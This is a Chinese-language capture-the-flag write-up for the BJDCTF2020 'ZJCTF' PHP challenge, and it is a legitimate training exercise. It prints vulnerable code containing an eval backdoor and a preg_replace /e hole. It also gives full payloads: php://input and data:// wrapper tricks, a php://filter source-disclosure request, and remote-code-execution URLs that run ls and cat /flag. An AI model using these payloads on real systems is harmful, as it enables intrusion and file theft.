[BJDCTF2020]ZJCTF,不过如此 --- wp

326 阅读2分钟

这篇wp是笔者第一篇文章,然后也不是正经的程序出身,目前是个小产品啦。如wp有问题,还得麻烦各位代佬多多指点。

题目

首先,点击buuoj这个网站,然后在练习场-->题目列表中去搜索该题目:

image.png 之后,点击这道题,开启靶场。

image.png

审计

通过靶机的地址,我们先来审计一下代码。

    <?php   
    error_reporting(0);  
    $text $_GET["text"];  
    $file $_GET["file"];  
    if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){  
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";  
        if(preg_match("/flag/",$file)){  
            die("Not now!");  
        }  

        include($file);  //next.php  

    }  
    else{  
        highlight_file(__FILE__);  
    }  
?>

根据代码:

  • 传入的text需要等于I have a dream字符
  • file不能包含flag字符,以防通过/flag直接拿到了这个flag
  • 存在一个注释,内容为next.php,那么会不会需要伪协议去拿到这个php文件的源码呢?

伪协议

在PHP中,伪协议(也称为流包装器或伪流协议)是预定义的流封装协议,允许你通过类似于文件系统的操作方式来访问各种类型的资源。PHP提供了多种内置的流包装器,供你在诸如 fopen()file_get_contents()file_put_contents() 等文件系统函数中使用。

一些常见的PHP伪协议包括:

  • file:// - 访问文件系统。

  • http:// 和 https:// - 通过HTTP或HTTPS协议访问网页资源。

  • ftp:// - 通过FTP协议访问文件资源。

  • data:// - 将数据以字符串的方式内嵌在代码中。

    • data://[mediatype][;base64],[data]
      • mediatype 是一个 MIME 类型,说明了数据的类型。譬如,文本会使用 text/plain,图片可能使用 image/png 或 image/jpeg
      • base64 是一个可选的项,如果你想对数据进行 base64 编码,将会添加 ;base64
      • data 是实际的数据部分。
  • php:// - 访问各种I/O流,例如:

    • php://input - 读取原始的POST数据。

    • php://output - 写操作会发送到输出缓冲区。

    • php://stdinphp://stdout 和 php://stderr - 分别代表输入流、输出流和错误流。

    • php://filter - 用来对流进行过滤的元封装器

      • 格式:php://filter/read=filtername/resource=pathname
        • read=filtername:指定你想要应用的读取过滤器名称。
        • resource=pathname:指定你想要应用过滤器的资源路径。

使用伪协议时,你可以像操作文件那样读取或写入数据流。例如,可以使用 file_get_contents('php://input') 读取原始POST请求的内容,或者使用 file_put_contents('php://output', $data) 来输出数据。

那么回到这道题中,text其实是可以有2种方式:

  • php://input
  • data://text/plain, [data]

不管采用哪种方式,我们传的值都是I have a dream

尝试

根据上方目前审计出来的结果,通过靶场地址以及Burp Suite软件的支持,开始尝试一番。

第一种:php://input

payload: ?text=php://input

打开代理:

image.png

image.png

之后,就能在bp中查看到拦截的信息了:

image.png 通过右键,我们把这玩意儿发送到repeater里,之后就开始愉快的玩耍吧。

如此一来,直接传入I have a dream,结果如下图所示:

image.png

在响应侧,确确实实把$text的值输出出来了。

那么,接下来就是去制造将要去读取的目标文件file参数了。那,如果file包含了flag字符呢?最终的结果会是:

image.png

如上图,也的确将Not now!打印出来了。

接着继续来构造,通过伪协议php://filter,此时需要使用 Base64 编码过滤器,好处是在于可以绕过安全限制以及转换数据来传输和显示

image.png

之后,就能够看到这个64编码的东东喽。

通过Base64 在线编码解码,将这个Base64解个密,会得到以下代码。

    <?php
    $id = $_GET['id'];
    $_SESSION['id'] = $id;

    function complex($re, $str) {
        return preg_replace(
            '/(' . $re . ')/ei',
            'strtolower("\\1")',
            $str
        );
    }


    foreach($_GET as $re => $str) {
        echo complex($re, $str). "\n";
    }

    function getFlag(){
            @eval($_GET['cmd']);
    }

前两行代码应该都能够看得懂了,主要直接进入complex函数中。

  • 函数使用 preg_replace 函数来进行正则表达式的匹配和替换。其中,'/(' . $re . ')/ei' 是正则表达式模式,而 $re 是动态拼接的正则表达式。
  • e 修饰符(在 PHP 5.5.0 中已废弃,并在 PHP 7.0.0 中被移除)使得替换字符串中的 strtolower("\1") 被作为 PHP 代码执行。
  • i 修饰符使得正则表达式匹配时不区分大小写。
  • strtolower("\1") 的目的是捕获匹配的字符串,并将它转换为小写。

接下来,就制造一下payload

    ?\S*=${getFlag()}&cmd=system('ls');
  • ?\S*= 是查询字符串的开始,它试图利用 complex 函数里的 preg_replace 函数。\S* 会匹配任意数量的非空白字符,确保无论传递给 preg_replace 的正则表达式是什么,它都能匹配。

  • ${getFlag()} 是一个动态表达式,在 PHP 中,它会被解析为调用 getFlag 函数。由于 preg_replace 中的 e 修饰符被使用,这个函数会被执行。

  • &cmd=system('ls'); 这部分采用的是 URL 参数的形式,由于 URL 后面跟着的 cmd 参数值将会被传递给 getFlag 函数中的 @eval($_GET['cmd']); 表达式执行,这就允许执行任意代码。

image.png

如此一来,我们就通过命令列出目录内容了。 但显然,当前目录内容中,并没有发现我们想要的flag内容,那么在试着ls%20/

注意在bp构造payload中,空格一律用%20替代。

image.png

果然,存在一个flag文件,那么就直接cat一下:

image.png 最终,拿到了flag:

    flag{7167bd7b-decf-4085-b773-75e72fdca2c3}

bp软件中payload为:

    /next.php?\S*=${getFlag()}&cmd=system('cat%20/flag');

第二种:data://text/plain, [data]

还是重复之前的步骤,不过是将php://input的位置换成这个data://text/plain,以及一定要注意[data]的时候不是只写I have a dream就完事了,而是写成:I%20have%20a%20dream

image.png

image.png 接下来就跟php://input是一模一样的了。

image.png

用到的payload

/?text=php://input&file=php://filter/read=convert.Base64-encode/resource=next.php  

/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.Base64-encode/resource=next.php

/next.php?\S*=${getFlag()}&cmd=system('ls');

/next.php?\S*=${getFlag()}&cmd=system('ls%20/');

/next.php?\S*=${getFlag()}&cmd=system('cat%20/flag');

最终flag

    flag{7167bd7b-decf-4085-b773-75e72fdca2c3}